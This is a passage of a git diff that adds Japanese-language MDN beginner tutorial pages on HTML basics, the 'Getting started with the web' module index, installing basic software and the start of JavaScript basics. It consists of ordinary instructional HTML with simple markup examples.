image"></pre> + +<p>この要素は 2 つの属性を持っていますが終了タグ <code></img></code> はありませんし、内部にコンテンツもありません。これは image 要素はその機能を果たすためにコンテンツを囲うものではないからです。 image 要素の目的は画像を HTML ページの表示させたいところに埋め込むことです。</p> + +<h3 id="Anatomy_of_an_HTML_document" name="Anatomy_of_an_HTML_document">HTML 文書の構造</h3> + +<p>ここまでは HTML 要素についてみてきました。しかし要素単体ではあまり役には立ちません。ここからはどのようにしてそれぞれの要素を組み合わせ、 HTML ページ全体を作っていくのかを勉強していきましょう。<a href="/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルを扱う</a>で出てきた <code>index.html</code> に書いてあるコードをもう一度見てみましょう。</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My test page</title> + </head> + <body> + <img src="images/firefox-icon.png" alt="My test image"> + </body> +</html></pre> + +<p>この中にあるものは以下の通りです。</p> + +<ul> + <li><code><!DOCTYPE html></code> — 文書型宣言です。昔々、 HTML がまだ出来たばかりの頃 (1991～2年)、文書型宣言は HTML ページを正しい書き方がなされているかを示すルールセット (自動エラーチェックなどの便利なもの) に関連付けさせる役割を担っていました。しかし、最近ではそのようなことを気にする人はいなくなり、うまく動くために存在するただの遺産となってしまいました。今はこれだけ知っていれば大丈夫です。</li> + <li><code><html></html></code> — {{htmlelement("html")}} 要素です。この要素はページのすべてのコンテンツを囲み、ルート要素とも呼ばれます。</li> + <li><code><head></head></code> — {{htmlelement("head")}} 要素です。この要素は HTML ページの、閲覧者に向けて表示<em>されない</em>コンテンツをまとめるための入れ物です。<code><head></code>要素は検索エンジン向けのキーワードや説明書き、ページの見た目を変更するための CSS、文字コードの情報などを含みます。</li> + <li><code><meta charset="utf-8"></code> — この要素は文書に対し文字コードを UTF-8 に設定しています。 UTF-8 には人類が使う言語の殆どの文字が含まれています。基本的には指定することにより文書に書いたテキストコンテンツを扱うことが出来ます。指定しない理由は特に無く、指定することで後から出てくる様々な問題を避けることが出来ます。</li> + <li><code><title></title></code> — {{htmlelement("title")}} 要素です。ページのタイトルを指定しています。このタイトルはページが読み込まれた時にブラウザのタブに表示され、ブックマーク（お気に入り）に登録した時の名前にもなります。</li> + <li><code><body></body></code> — {{htmlelement("body")}} 要素です。 <code><body></code> 要素はページの閲覧者に対して見せたいもの<em>すべて</em>を含みます。文字、画像、ビデオ、ゲーム、再生できる音楽など、どんなものでもです。</li> +</ul> + +<h2 id="Images" name="Images">画像</h2> + +<p>もう一度 {{htmlelement("img")}} 要素について見ていくことにしましょう。</p> + +<pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="My test image"></pre> + +<p>前に説明したように、これは書いたところに画像を埋め込みます。画像ファイルのパスを値に持つ <code>src</code> (source) 属性を指定する事によってその画像を表示できます。</p> + +<p>また、 <code>alt</code> (alternative; 代替) 属性も指定しています。これは以下の様な理由で画像を見られない人に向けて文字で説明をするものです。</p> + +<ol> + <li>目が不自由な人。著しく目の不自由な人はよくスクリーンリーダーと呼ばれるツールを使っていて、それは画像の <code>alt</code> 属性の内容を読み上げます。</li> + <li>何らかの理由で画像の表示に失敗した場合。例えば、 <code>src</code> 属性に指定したパスが間違っていたときなどです。ページを保存したり再読み込みしたりするとこのような本来画像があるべき場所に下記のような何かが表示されるでしょう。</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p> + +<p><code>alt</code> 属性の内容は「説明する文」であるということが重要です。代替文は画像が伝えたいことをうまく言い表しているべきです。上の「My test image」はあまり良い例ではありません。 Firefox のロゴの代替文字列として適切なのは、「地球を囲む燃えるような狐の Firefox ロゴ」というようなものです。</p> + +<p>あなたが用意した画像に良い代替文字列を付けてみましょう。</p> + +<div class="note"> +<p>注記: アクセシビリティについて詳しくは <a href="/docs/Web/Accessibility">MDN のアクセシビリティのページ</a>を参照してください。</p> +</div> + +<h2 id="Marking_up_text" name="Marking_up_text">テキストのマークアップ</h2> + +<p>この章では、文字列をマークアップするために使用する基本的な HTML 要素をいくつか見ていきます。</p> + +<h3 id="Headings" name="Headings">見出し</h3> + +<p>見出し要素は文書中の見出し、小見出しを指定することができるものです。通常の書籍でも主題、章題、副題があります。 HTML でも同じことが出来ます。 HTML では {{htmlelement("h1")}} から {{htmlelement("h6")}} の 6段階の見出しが用意されていますが、よく使うのはせいぜい 3 つから 4 つほどでしょう。</p> + +<pre class="brush: html notranslate"><h1>My main title</h1> +<h2>My top level heading</h2> +<h3>My subheading</h3> +<h4>My sub-subheading</h4></pre> + +<p>それでは、あなたの HTML の {{htmlelement("img")}} 要素の上に適切なタイトルを付けてみましょう。</p> + +<div class="note"> +<p><strong>メモ</strong>: 見出しレベル1には暗黙のスタイルがあることがわかります。テキストを大きくしたり太字にしたりするために見出し要素を使用しないでください。これらは<a href="/ja/docs/Learn/Accessibility/HTML#Text_content">アクセシビリティ</a>や <a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Why_do_we_need_structure">SEO などのその他の理由</a>で使用されます。レベルをスキップせずに、ページ上に意味のある一連の見出しを作成してください。</p> +</div> + +<h3 id="Paragraphs" name="Paragraphs">段落</h3> + +<p>先に説明したように、 {{htmlelement("p")}} 要素は段落を示しています。通常の文章を書く時にはこの要素を頻繁に使うことになるでしょう。</p> + +<pre class="brush: html notranslate"><p>This is a single paragraph</p></pre> + +<p>試しに {{htmlelement("img")}} 要素のすぐ下にいくつか段落を作り、文章を書いてみましょう。(文章は <em><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトはどんな見た目にしたいですか？</a></em>から持ってきても良いです。)</p> + +<h3 id="Lists" name="Lists">リスト</h3> + +<p>多くの Web のコンテンツはリストで出来ており、 HTML にはリストを表すための特別な要素が用意されています。リストは最低 2 つの要素を組み合わせて生成します。主要なリスト形式として番号付きリストと番号なしリストがあります。</p> + +<ol> + <li><strong>番号なしリスト</strong>は、お買い物リストのようにアイテムの順番が特に関係ない時に使います。番号なしリストは {{htmlelement("ul")}} 要素で囲みます。</li> + <li><strong>番号付きリスト</strong>は料理のレシピのようにアイテムの順番が関係ある時に使います。番号付きリストは {{htmlelement("ol")}} 要素で囲みます。</li> +</ol> + +<p>リストの中に入るそれぞれのアイテムは {{htmlelement("li")}} (list item) 要素の中に書きます。</p> + +<p>例えば、次の段落の一部をリストにしたい場合、</p> + +<pre class="brush: html notranslate"><p>At Mozilla, we’re a global community of technologists, thinkers, and builders working together ... </p></pre> + +<p>以下のようにマークアップします。</p> + +<pre class="brush: html notranslate"><p>At Mozilla, we’re a global community of</p> + +<ul> + <li>technologists</li> + <li>thinkers</li> + <li>builders</li> +</ul> + +<p>working together ... </p></pre> + +<p>あなたのページに番号付きリストと番号なしリストを追加してみましょう。</p> + +<h2 id="Links" name="Links">リンク</h2> + +<p>リンクはとても重要です ―― これが Web をひとつの Web にします。リンクを追加するには、シンプルな要素 {{htmlelement("a")}} を使えばよいです。 <code>a</code> は "anchor" を省略したものです。段落中の文字をリンクにするには次の手順で行います。</p> + +<ol> + <li>リンクにしたい文字を選びます。今回は "Mozila Manifesto" を選びました。</li> + <li>選んだ文字を {{htmlelement("a")}} 要素で囲みます。 + <pre class="brush: html notranslate"><a>Mozilla Manifesto</a></pre> + </li> + <li>このように {{htmlelement("a")}} 要素に <code>href</code> 属性を追加します。 + <pre class="brush: html notranslate"><a href="">Mozilla Manifesto</a></pre> + </li> + <li>このリンクがリンクしたい Web アドレスをこの属性の値に書き込みます。 + <pre class="brush: html notranslate"><a href="https://www.mozilla.org/en-US/about/manifesto/">Mozilla Manifesto</a></pre> + </li> +</ol> + +<p>アドレスの先頭にある <code>https://</code> や <code>http://</code> の部分 (<em>プロトコル</em>と言います) を書き忘れると、予期せぬ結果となってしまうかもしれません。リンクを作ったら、ちゃんとそれが遷移したいところに行ってくれるかを確かめましょう。</p> + +<div class="note"> +<p><code>href</code> は属性名として変に思うかもしれません。覚えにくかったら、 <code>href</code> は <em><strong>h</strong>ypertext <strong>ref</strong>erence</em> を表しているということを覚えておきましょう。</p> +</div> + +<p>もしまだやってないのなら、ページにリンクを追加してみましょう。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>ここまでの説明に沿ってやってきたのなら、下のようなページが出来上がっているはずです (<a href="http://mdn.github.io/beginner-html-site/">ここ</a>でも見られます)。<br> + <br> + <img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p> + +<p>もし途中で行き詰まってしまったなら、 GitHub にある<a href="https://github.com/mdn/beginner-html-site/blob/gh-pages/index.html">完成版のコード例</a>と見比べてみてください。</p> + +<p>この記事では HTML の表面的な部分だけを勉強しました。もっと知りたい場合は <a href="/ja/docs/Learn/HTML">HTML を学ぶ</a>を読んでみてくだい。</p> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/index.html b/files/ja/learn/getting_started_with_the_web/index.html new file mode 100644 index 0000000000..6471ecabd2 --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/index.html @@ -0,0 +1,65 @@ +--- +title: Web 入門 +slug: Learn/Getting_started_with_the_web +tags: + - Beginner + - CSS + - HTML + - Index + - 'l10n:priority' + - publishing + - ガイド + - デザイン + - 学習 + - 理論 +translation_of: Learn/Getting_started_with_the_web +--- +<div>{{LearnSidebar}}</div> + +<div class="summary"> +<p><em>Web 入門</em>は、実用的な Web 開発の入門シリーズです。まずはじめに、簡単な Web ページを作るのに必要なツールをセットアップします。そして、簡単なコードを書いたら、実際に Web に公開します。</p> +</div> + +<h2 id="The_story_of_your_first_website" name="The_story_of_your_first_website">初めての Web サイトの旅</h2> + +<p>プロが作るような Web サイトを作るのはとても大変な作業です。Web 開発の初心者は、まずは小さなものから作り始めるとよいでしょう。今すぐ Facebook のようなサイトを作ることはできませんが、簡単な Web サイトなら作るのはそれほど難しくありません。私たちはここから始めることにしましょう。</p> + +<p>以下の記事を順番に読んでいけば、Web サイトを作ったことがない全くの初心者でも、自身の Web サイトを作って、Web に公開できるようになります。さあ、はじめましょう！</p> + +<h3 id="Installing_basic_software" name="Installing_basic_software"><a href="/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></h3> + +<p>Web サイトを作るためのツールはたくさんあります。Web 開発を始めたばかりの頃は、テキストエディタやフレームワーク、テストツールといったいろいろなソフトウェアが山のようにあって、混乱してしまうかもしれません。そこで、<a href="/ja/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>では、基本的な Web 開発を始めるあなたのために私たちが選んだツールを紹介して、ツールのインストールの手順をひとつずつ順番に説明しています。</p> + +<h3 id="What_will_your_website_look_like" name="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></h3> + +<p>Web サイトのコードを書き始める前に、まずは計画を立てることが大切です。あなたの Web サイトにはどんな情報を載せますか？フォントや色はどうしたいですか？<a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like"> Web サイトをどんな外見にするか</a>では、コンテンツやデザインを計画するのに役に立つ簡単な方法を紹介します。</p> + +<h3 id="Dealing_with_files" name="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></h3> + +<p>Web サイトを作るにはたくさんのファイルが必要です。テキストコンテンツのファイル、コードのファイル、スタイルシートのファイル、画像などのメディアコンテンツのファイルなどがあります。Web サイトを作るときは、これらのファイルをうまく配置して、ファイル同士がお互いにアクセスできることを確認する必要があります。<a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a>では、Web サイトのファイルを適切に配置する方法と、気をつけるべきことについて説明します。</p> + +<h3 id="HTML_basics" name="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></h3> + +<p>Hypertext Markup Language (HTML、ハイパーテキスト・マークアップ・ランゲージ) は、Web サイトのコンテンツに構造を指定して、それぞれの部分がどういう意味や目的を持っているのかを指定するために使うコードです。具体的に言うと、構造というのは、段落や箇条書きのリスト、画像、テーブルなどのようなものです。<a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a>では、分からなくならないように、HTML に親しめるように丁寧に説明します。</p> + +<h3 id="CSS_basics" name="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></h3> + +<p>Cascading Stylesheets (CSS: カスケーディング・スタイルシート) は、Web サイトの見た目を決めるために使うコードです。CSS を書くと、テキストの色を黒や赤にしたり、コンテンツを画面のどこに表示するかを決めたり、ページの背景に好きな色をつけたり画像を表示したりして、Web サイトを好きなように飾り付けることができます。<a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a>では、こうした飾り付けの方法について説明します。</p> + +<h3 id="JavaScript_basics" name="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></h3> + +<p>JavaScript は、Web サイトにインタラクティブな機能を追加するために使うプログラミング言語です。例えば、ゲーム、ボタンが押された時やフォームにデータが入力された時に起こること、動的なスタイルの効果、アニメーション、などなどです。<a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a>では、この楽しいプログラミング言語を使ってどんなことができるのか、そしてどうやって使い始めれば良いのかを紹介します。</p> + +<h3 id="Publishing_your_website" name="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Web サイトの公開</a></h3> + +<p>Web サイトのコードを書き終えて、Web サイトに必要なファイルが用意できたら、作ったファイルをすべてオンラインにして、インターネット上の他の人からも見られるようにする必要があります。Web<a href="/ja/docs/Learn/Getting_started_with_the_web/ウェブサイトを公開する"> サイトの公開</a>では、あなたが書いた簡単なコードをオンラインにして世界中に公開するための簡単な方法を説明します。</p> + +<h3 id="How_the_web_works" name="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></h3> + +<p>あなたがお気に入りの Web サイトにアクセスする時、実は目に見えない所ではとても複雑なことが行われています。Web<a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works"> のしくみ</a>では、あなたがパソコンで Web ページを開いた時に裏側でどんなことが行われているのか、その大まかなしくみを説明します。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web Demystified</a>: 完全な初心者を対象とした、Web 開発までの Web の基本を説明した動画の素晴らしいシリーズ。<a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a> 作。</p> + +<p><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Getting_started_with_the_web/The_web_and_web_standards">The web and web standards</a>: この記事では、Web の役立つ背景 — どうやってできたのか、Web 標準技術とはなにか、どう連携させるか、" Web 開発者" がなぜ素晴らしいキャリアであるか、この過程を通じてどんなベストプラクティスが学習できるか — を提供します。</p> diff --git a/files/ja/learn/getting_started_with_the_web/installing_basic_software/index.html b/files/ja/learn/getting_started_with_the_web/installing_basic_software/index.html new file mode 100644 index 0000000000..f8432d7d97 --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/installing_basic_software/index.html @@ -0,0 +1,80 @@ +--- +title: 基本的なソフトウェアのインストール +slug: Learn/Getting_started_with_the_web/Installing_basic_software +tags: + - WebMechanics + - 'l10n:priority' + - セットアップ + - ツール + - テキストエディタ + - ブラウザ + - 初心者 + - 学習 +translation_of: Learn/Getting_started_with_the_web/Installing_basic_software +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p><em>「基本的なソフトウェアのインストール」</em>では、あなたが簡単な Web 開発をするのに必要なツールを紹介して、それらのツールを適切にインストールする方法について説明します。</p> +</div> + +<h2 id="What_tools_do_the_professionals_use" name="What_tools_do_the_professionals_use">プロフェッショナルはどんなツールを使っている？</h2> + +<ul> + <li><strong>コンピューター</strong> 当たり前のことだと思う人もいるかもしれませんが、携帯電話や図書館のコンピューターを使ってこの記事を読んでいる人もいるでしょう。しっかりとした Web 開発のためには、Windows、Mac、Linux などが実行されているデスクトップパソコンやノートパソコンを使った方がいいです。</li> + <li><strong>テキストエディター</strong> コードを書くために必要です。テキストエディター (たとえば <a href="https://code.visualstudio.com/">Visual Studio Code</a>、<a href="https://notepad-plus-plus.org/">Notepad++</a>、<a href="https://www.sublimetext.com/">Sublime Text</a>、<a href="https://atom.io/">Atom</a>、<a href="https://www.gnu.org/software/emacs/">GNU Emacs</a>、<a href="https://www.vim.org/">VIM</a>) でも、複合的な機能を持つソフトウェア (<a href="https://www.adobe.com/jp/products/dreamweaver.html">Dreamweaver</a> や <a href="https://www.jetbrains.com/webstorm/">WebStorm</a>) でも構いません。Office 文書のエディタは、Web ブラウザーが使うレンダリングエンジンに干渉する隠し要素に依存しているため、この用途には適していません。</li> + <li><strong>Web ブラウザー</strong> 自分が書いたコードをテストするために必要です。現在最も使われているブラウザーは、<a href="https://www.mozilla.org/ja/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="http://www.opera.com/">Opera</a>、<a href="https://www.apple.com/safari/">Safari</a>、<a href="http://windows.microsoft.com/ja-jp/internet-explorer/download-ie">Internet Explorer</a> や <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> などです。携帯電話などのモバイルデバイスで Web サイトがどのように表示されるのかもテストするべきです。また、Web サイトを見る人たちが使うかもしれない古いブラウザー (IE 8-10 など) でもできればテストした方が良いです。<span class="tlid-translation translation" lang="ja"><span title="">テキストベースのターミナル Web ブラウザーである </span></span><a href="https://lynx.browser.org/">Lynx</a><span class="tlid-translation translation" lang="ja"><span title=""> は、視覚障害のあるユーザーがサイトをどのように体験しているかを見るのに最適です。</span></span></li> + <li><strong>画像編集ソフト</strong> (<a href="http://www.gimp.org/">GIMP</a>、<a href="http://www.getpaint.net/">Paint.NET</a>、<a href="https://www.adobe.com/jp/products/photoshop.html">Photoshop</a> など) Web ページの画像を作成するために必要になります。</li> + <li><strong>バージョン管理システム</strong> 複数の人とチームでサイトを作るときや、他の人とコードを共有するときに、誤って編集の衝突などが起こらないようにするために必要になります。現在では、<a href="http://git-scm.com/">Git</a> が最も有名なバージョン管理システムであり、<a href="http://git-scm.com/">Git</a> に基づいたコードホスティングサービスの <a href="https://github.com/">GitHub</a> もとても有名です。</li> + <li><strong>FTP プログラム</strong> Web ページを公開する時にファイルをサーバーにアップロードするために必要です (この目的で、だんだんと、FTP の代わりに <a href="http://git-scm.com/">Git</a> が用いられつつあります)。(S)FTP の機能が含まれている、<a href="https://cyberduck.io/">Cyberduck</a>、<a href="http://fetchsoftworks.com/">Fetch</a>、<a href="https://filezilla-project.org/">FileZilla</a> などのプログラムを使うと良いでしょう。</li> + <li><strong>自動化システム</strong>、<a href="http://gruntjs.com/">Grunt</a> または <a href="https://gulpjs.com/">Gulp</a> のようなソフトウェアを使うと、同じような繰り返し作業を自動的に実行することができます。たとえば、コードのサイズを自動的に小さくしたり、エラーがないかどうかを自動で確認することができます。</li> + <li>テンプレート、ライブラリ、フレームワークなど。これらを利用すると、Web サイトを作る時によく使われるコードを短時間で用意することができます。</li> + <li>他にも便利なツールがたくさんあります！</li> +</ul> + +<h2 id="What_tools_do_I_actually_need_right_now" name="What_tools_do_I_actually_need_right_now">今の私にはどんなツールが必要？</h2> + +<p>上のリストにはたくさんのツールが書かれていて、ちょっと恐ろしかったかもしれませんね。でも大丈夫です。Web 開発を始めるのには、まだ上のツールをほとんど知らなくても問題ありません。これから私たちが、Web 開発に必要最小限のツールのセットアップの仕方を説明しておきます。必要なものは、テキストエディタと最新の Web ブラウザーだけで十分です。</p> + +<h3 id="Installing_a_text_editor" name="Installing_a_text_editor">テキストエディタのインストール</h3> + +<p>あなたのコンピューターには、おそらく初めから基本的なテキストエディタがインストールされているはずです。Windows には<a href="https://ja.wikipedia.org/wiki/%E3%83%A1%E3%83%A2%E5%B8%B3">メモ帳</a>が、MacOS には<a href="https://ja.wikipedia.org/wiki/%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%A8%E3%83%87%E3%82%A3%E3%83%83%E3%83%88">テキストエディット</a>が、Linux の場合はディストリビューションによっていろいろですが、Ubuntu には <a href="https://ja.wikipedia.org/wiki/Gedit">gedit</a> が初めからインストールされているはずです。</p> + +<p>ただ、Web 開発をする時には、メモ帳やテキストエディットのようなソフトウェアよりも、もっと高機能なプログラムを使うべきです。私たちのおすすめのソフトウェアは、 <a href="https://code.visualstudio.com/">Visual Studio Code</a> です。これは無料で利用することができ、ライブプレビューやコードヒントを提供します。</p> + +<h3 id="Installing_modern_web_browsers" name="Installing_modern_web_browsers">最新の Web ブラウザーのインストール</h3> + +<p>次に、これから私たちが書くコードをテストするためのブラウザーをいくつかインストールしましょう。あなたが使っているオペレーティングシステムを選び、リンクから好きなブラウザーをインストールしてみてください。</p> + +<ul> + <li>Linux: <a href="https://www.mozilla.org/ja/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="https://www.opera.com/">Opera</a>、<a href="https://brave.com">Brave</a>。</li> + <li>Windows: <a href="https://www.mozilla.org/ja/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="https://www.opera.com/">Opera</a>、<a href="http://windows.microsoft.com/ja-jp/internet-explorer/download-ie">Internet Explorer</a>、<a href="https://www.microsoft.com/en-us/edge">Microsoft Edge</a>、<a href="https://brave.com">Brave</a> (Windows 10 には Edge がデフォルトで付属していますが、Windows 7 以降の場合は、IE Internet Explorer 11 をインストールすることができます。そうでない場合には、Internet Explorer 以外のブラウザーをインストールしてください)</li> + <li>Mac: <a href="https://www.mozilla.org/ja/firefox/new/">Firefox</a>、<a href="https://www.google.com/chrome/browser/">Chrome</a>、<a href="https://www.opera.com/">Opera</a>、<a href="https://www.apple.com/safari/">Safari</a>、<a href="https://brave.com">Brave</a> (Safari は、iOS と MacOS に初めからインストールされています)</li> +</ul> + +<p>次に進む前に、テストに使えるように最低でも 2 つのブラウザーをインストールするようにしてください。</p> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: Internet Explorer は最新の Web 機能と互換性がなく、プロジェクトを実行できない場合があります。現在は Internet Explorer を使用している人はほとんどいないので、通常はあなたの Web プロジェクトとそれの互換性について心配する必要はありません — 間違いなく学習中はあまり心配する必要はありません。</p> +</div> + +<h3 id="Installing_a_local_web_server" name="Installing_a_local_web_server">ローカルの Web サーバーのインストール</h3> + +<p>いくつかの例では、動作を成功させるのに Web サーバーでの実行が必要です。<a href="https://developer.mozilla.org/ja/docs/Learn/Common_questions/set_up_a_local_testing_server">ローカルテストサーバーのインストール方法</a>にて、その方法が見つかります。</p> + +<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li id="Installing_basic_software"><a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a></li> + <li id="What_will_your_website_look_like"><a href="/ja/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Web サイトをどんな外見にするか</a></li> + <li id="Dealing_with_files"><a href="/ja/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの扱い</a></li> + <li id="HTML_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基本</a></li> + <li id="CSS_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS の基本</a></li> + <li id="JavaScript_basics"><a href="/ja/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript の基本</a></li> + <li id="Publishing_your_website"><a href="/ja/docs/Learn/Getting_started_with_the_web/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E5%85%AC%E9%96%8B%E3%81%99%E3%82%8B">Web サイトの公開</a></li> + <li id="How_the_web_works"><a href="/ja/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web のしくみ</a></li> +</ul> diff --git a/files/ja/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ja/learn/getting_started_with_the_web/javascript_basics/index.html new file mode 100644 index 0000000000..61095df0eb --- /dev/null +++ b/files/ja/learn/getting_started_with_the_web/javascript_basics/index.html @@ -0,0 +1,437 @@ +--- +title: JavaScript の基本 +slug: Learn/Getting_started_with_the_web/JavaScript_basics +tags: + - JavaScript + - Learn + - Web + - codescripting + - 'l10n:priority' + - 初心者 +translation_of: Learn/Getting_started_with_the_web/JavaScript_basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</div> + +<div class="summary"> +<p>JavaScript は Web サイトにインタラクティブ機能 (ゲーム、ボタンが押されたときやデータがフォームに入力されたときの反応、動的なスタイルの変更、アニメーションなど) を追加するプログラミング言語です。この記事は、このエキサイティングな言語を始めるのに役立ち、可能性についてのアイディアを提供します。</p> +</div> + +<h2 id="What_is_JavaScript_really" name="What_is_JavaScript_really">そもそも JavaScript とは何か</h2> + +<p>{{Glossary("JavaScript")}} (略して "JS") <span id="result_box" lang="ja"><span>は成熟した{{Glossary("Dynamic_programming_language", "動的プログラミング言語")}}であり、{{Glossary("HTML")}} 文書に適用すると、 Web サイトに動的な対話操作を提供できます。Mozilla プロジェクト、Mozilla Foundation、Mozilla Corporation の共同設立者である Brendan Eich によって考案されました。</span></span></p> + +<p>JavaScript の用途は多彩です。小さいものでは、カルーセル、画像ギャラリー、レイアウトの変更、ボタンのクリックに対するレスポンスなどから始めることができます。もっと経験を積むと、ゲーム、2D および 3D のアニメーショングラフィック、包括的なデータベース駆動型アプリケーションなどを作成することができます。</p> + +<p>JavaScript はとてもコンパクトですが、一方でとても柔軟性があります。開発者は JavaScript 言語のコアをベースに多種多様なツールを作成し、最小限の労力で膨大な様々な機能を利用できるようにしました。例えば以下のようなものがあります。</p> + +<ul> + <li>ブラウザのアプリケーションプログラミングインターフェイス({{Glossary("API")}})。 Web ブラウザに組み込まれた API により、動的な HTML の作成、 CSS スタイルの設定、ユーザの Web カメラからの動画ストリームの収集や操作、3D グラフィックやオーディオサンプルの生成などの機能を提供する、 Web ブラウザに組み込まれた API。</li> + <li>開発者が Twitter や Facebook のような他のコンテンツプロバイダのサイトから機能を組み込むことを可能にする、サードパーティの API。</li> + <li>すばやくサイトやアプリケーションを構築することができ、HTML に組み込み可能なサードパーティのフレームワークやライブラリ。</li> +</ul> + +<p>この記事は JavaScript の簡単な紹介に留めるべきだと思いますので、現段階では、JavaScript 言語のコアと上記の様々なツールの違いを詳しく話して混乱させることは避けるようにします。それらは、この後に続く詳細、<a href="/ja/docs/Learn/JavaScript">JavaScript 学習エリア</a>、およびMDN の他の部分で詳しく学ぶことができます。</p> + +<p>以下では、コア言語のいくつかの側面について紹介します。またブラウザの API 機能についてもいくつか説明します。楽しみましょう！</p> + +<h2 id="A_hello_world_example" name="A_hello_world_example">"Hello world" の例</h2> + +<p>上記の章は実にエキサイティングに聞こえるかもしれませんが、それもそのはずです — JavaScript は最も活気のある Web 技術の 1 つで、使い始めれば、 Web サイトは力と創造性の新しい次元に入るでしょう。</p> + +<p>しかし、JavaScript を使いこなせるようになるのは HTML や CSS よりも少し難しいです。小さなものから始め、小さく確実な手順で作業を続ける必要があるかもしれません。始めるにあたって、<em>"hello world!"</em> を表示する例 (<a href="https://en.wikipedia.org/wiki/%22Hello,_World!%22_program">基本的なプログラミング例の標準</a>) を作りながら、基本的な JavaScript をページに追加する方法を紹介しましょう。</p> + +<div class="warning"> +<p><strong>重要</strong>: これまでこのコースに沿って進めてきていない場合は、<a 